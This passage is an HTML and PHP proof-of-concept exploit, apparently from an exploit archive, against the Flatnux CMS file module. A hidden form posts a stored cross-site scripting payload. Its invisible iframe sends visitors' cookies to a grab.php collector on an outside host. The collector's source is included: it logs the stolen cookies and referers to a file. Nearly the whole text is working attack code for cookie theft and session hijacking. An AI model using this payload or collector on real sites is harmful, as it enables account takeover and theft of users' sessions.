d> </head> <body> <form enctype="multipart/form-data" action="http://www.example.com/flatnux/index.php?mod=08_Files&amp;opmod=insertrecord" method="POST"> titolo*<input size ="20" style="visibility:hidden;" value="filex &lt;iframe width=&quot;0&quot; height=&quot;0&quot; style=&quot;visibility:hidden;&quot; src=&quot;javascript:window.location=&apos;http://www.example.com/grab.php?cmd=&apos;+document.cookie;&quot;&gt;&lt;/iframe&gt;" name="name" type="text" /><br /> <textarea title="Inserisci qui la descrizione" cols="80" rows="10" name="description" style="visibility:hidden;" ></textarea><br /> Immagine<input size="20" name="foto1" type="file" style="visibility:hidden;" /><br /> File<input size="20" name="file" type="file" style="visibility:hidden;" /><br /> <input type="submit" value="Zic"> </form> </body></html> <!-- grab.php <?php $data = $_GET['cmd']; $date=date("j F, Y, g:i a"); $referer=$_SERVER['HTTP_REFERER']; $fh = fopen("cookie.txt",'a+'); fwrite($fh, $referer . " / " . $data."\n".$date."\n"); fclose($fh); ?>